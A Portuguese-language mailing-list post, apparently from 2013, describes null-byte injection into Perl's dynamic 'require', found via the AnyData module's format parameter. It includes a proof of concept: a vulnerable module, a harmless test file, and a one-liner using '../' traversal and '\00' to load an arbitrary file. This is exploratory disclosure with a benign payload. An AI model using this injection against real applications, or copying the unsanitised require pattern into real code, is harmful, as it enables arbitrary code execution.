Hi.<br><br>Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1] dentro de um webservice que retorna as informações desejadas. Neste módulo, temos o método adExport() que recebe um parâmetro (que, no caso da aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o módulo.<br>

Fiquei brincando de manipular o path com esse parâmetro, mas a concatenação da string '.pm' dificultava as coisas. Porém, como na exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível ignorar isso com o bom e velho null byte[2].<br>

<br>Escrevi um exemplo prático:<br><pre style="color:rgb(0,0,0);font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:normal;text-align:start;text-indent:0px;text-transform:none;word-spacing:0px">

$ pwd
/home/fvox/poc

$ cat Module.pm
package Module;

use common::sense;
use Moo;
use Carp;

use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(testing);

sub testing {
    my $plugin = shift;

    my $module = 'Module/' . $plugin . '.pm';
    eval { require $module; };
    croak $@ if $@;

    $module =~ s/\//::/g;
    $module =~ s/\.pm$//gi;
    my $obj = $module->new;
}

1;

$ cat <a href="http://inc.pl">inc.pl</a> 
print "Null Byte injetado com sucesso! :)\n";

$ perl -MModule -E'say testing("../../../../../../../../../home/fvox/poc/<a href="http://inc.pl">inc.pl</a>\00");'
<b>Null Byte injetado com sucesso! :)</b>
Can't locate object method "new" via package "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl">inc.pl</a>" (perhaps you forgot to load "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::<a href="http://inc.pl">inc.pl</a>"?) at Module.pm line 21.</pre>

<br>Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é possível injetar um 'evil code' num código vulnerável sem muitos problemas. Suponho que também funcione na função open(), entre outros casos.<br>

Alguém já tinha brincado com isso antes? Hhauhauh<br><br>PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de retardado e brincar com isso em 2013... :P<br><br>[1] <a href="https://metacpan.org/module/AnyData">https://metacpan.org/module/AnyData</a><br clear="all">

[2] <a href="http://en.wikipedia.org/wiki/Null_character">http://en.wikipedia.org/wiki/Null_character</a><br><br>-- <br><br>====================================<br>Junior "fvox" Moraes<br>Linux Reg. #557527<br>
junior[at]fvox[dot]com[dot]br<br>
fb[dot]com/juniorfvox<br>twitter[dot]com/fvox<br>====================================